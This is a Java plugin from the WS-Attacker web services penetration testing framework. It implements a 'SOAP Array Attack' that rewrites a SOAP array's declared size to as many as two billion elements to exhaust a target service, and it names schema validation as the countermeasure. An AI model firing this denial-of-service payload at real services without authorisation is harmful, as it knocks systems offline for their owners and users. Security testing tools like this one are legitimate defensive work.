/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2012 Andreas Falkenberg * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package wsattacker.plugin.dos; import java.util.HashMap; import java.util.Map; import java.util.regex.Matcher; import java.util.regex.Pattern; import wsattacker.main.composition.plugin.option.AbstractOptionInteger; import wsattacker.main.plugin.option.OptionLimitedInteger; import wsattacker.plugin.dos.dosExtension.abstractPlugin.AbstractDosPlugin; import wsattacker.plugin.dos.dosExtension.option.OptionTextAreaSoapMessage; public class SoapArrayAttack extends AbstractDosPlugin { // Mandatory DOS-specific Attributes - Do NOT change! // <editor-fold defaultstate="collapsed" desc="Autogenerated Attributes"> private static final long serialVersionUID = 1L; // </editor-fold> // Custom Attributes private AbstractOptionInteger optionNumberArrayElements; @Override public void initializeDosPlugin() { initData(); // Custom Initilisation optionNumberArrayElements = new OptionLimitedInteger( "Number of SOAP array elements", 1000000000, "The number of SOAP array elements to be created", 1, 2000000000 ); getPluginOptions().add( optionNumberArrayElements ); } @Override public OptionTextAreaSoapMessage.PayloadPosition getPayloadPosition() { return OptionTextAreaSoapMessage.PayloadPosition.NONE; } public void initData() { setName( "SOAP Array Attack" ); setDescription( "<html><p>This attack checks whether or not a Web service is vulnerable to the \"Soap Array\" attack. " + "In order for this attack to work the attacked Web service has to excpect a SOAP array. " + "Otherwise any SOAP array will be ignored and the attack won't work.</p>" + "<p>A detailed description of the attack can be found " + "on <a href=\"http://clawslab.nds.rub.de/wiki/index.php/Soap_Array_Attack\">http://clawslab.nds.rub.de/wiki/index.php/Soap_Array_Attack</a></p>" + "<p>The attack algorithm will automatically search for any SOAP array and will " + "change the array size to the value defined in parameter 8.</p></html>" ); setCountermeasures( "In order to counter the attack, strict schema validation has to be performed that limits the array size. " + "See http://clawslab.nds.rub.de/wiki/index.php/Soap_Array_Attack for more detailed countermeasures." ); } @Override public boolean attackPrecheck() { // Try to find soapArray in SoapMessage String regex1 = "arrayType=\"[A-Za-z0-9:_-]*\\x5B"; Pattern p1 = Pattern.compile( regex1 ); // Compiles regular expression // into Pattern. Matcher m1 = p1.matcher( this.getOriginalRequest().getRequestContent() ); // Creates // Matcher // with // subject // s // and // Pattern // p. if ( m1.find() ) { setAttackPrecheck( true ); return true; } else { setAttackPrecheck( false ); return false; } } @Override public void createTamperedRequest() { String stringSOAPMessage = this.getOptionTextAreaSoapMessage().getValue(); // Try to find soapArray in SoapMessage String regex1 = "arrayType=\"[A-Za-z0-9:_-]*\\x5B"; // Compiles regular expression into Pattern. Pattern p1 = Pattern.compile( regex1 ); // Creates Matcher with subject s and Pattern p. Matcher m1 = p1.matcher( stringSOAPMessage ); if ( m1.find() ) { // get first part of Message int lengthFirstpart = m1.end(); String firstPart = stringSOAPMessage.substring( 0, lengthFirstpart ); // get last part of message and remove previous array length String lastPart = stringSOAPMessage.substring( lengthFirstpart, stringSOAPMessage.length() ); String regex2 = "^[0-9]*\\x5D"; Pattern p2 = Pattern.compile( regex2 ); Matcher m2 = p2.matcher( lastPart ); if ( m2.find() ) { lastPart = m2.replaceFirst( "]" ); } else { setAttackPrecheck( false ); } // Build new Message via Stringbuilder - set Arraywidth to desired // number! StringBuilder sb = new StringBuilder(); sb.append( firstPart ); sb.append( optionNumberArrayElements.getValue() ); sb.append( lastPart ); // get HeaderFields from original request, if required add custom // headers - make sure to clone! Map<String, String> httpHeaderMap = new HashMap<String, String>(); for ( Map.Entry<String, String> entry : getOriginalRequestHeaderFields().entrySet() ) { httpHeaderMap.put( entry.getKey(), entry.getValue() ); } // write payload and header to TamperedRequestObject this.setTamperedRequestObject( httpHeaderMap, getOriginalRequest().getEndpoint(), sb.toString() ); } else { // get HeaderFields from original request, if required add custom // headers // write payload and header to TamperedRequestObject Map<String, String> httpHeaderMap = getOriginalRequestHeaderFields(); this.setTamperedRequestObject( httpHeaderMap, getOriginalRequest().getEndpoint(), stringSOAPMessage ); // Nothing found, attack will end right here! setAttackPrecheck( false ); } } // ---------------------------------------------------------- // All custom DOS-Attack specific Methods below! // ---------------------------------------------------------- }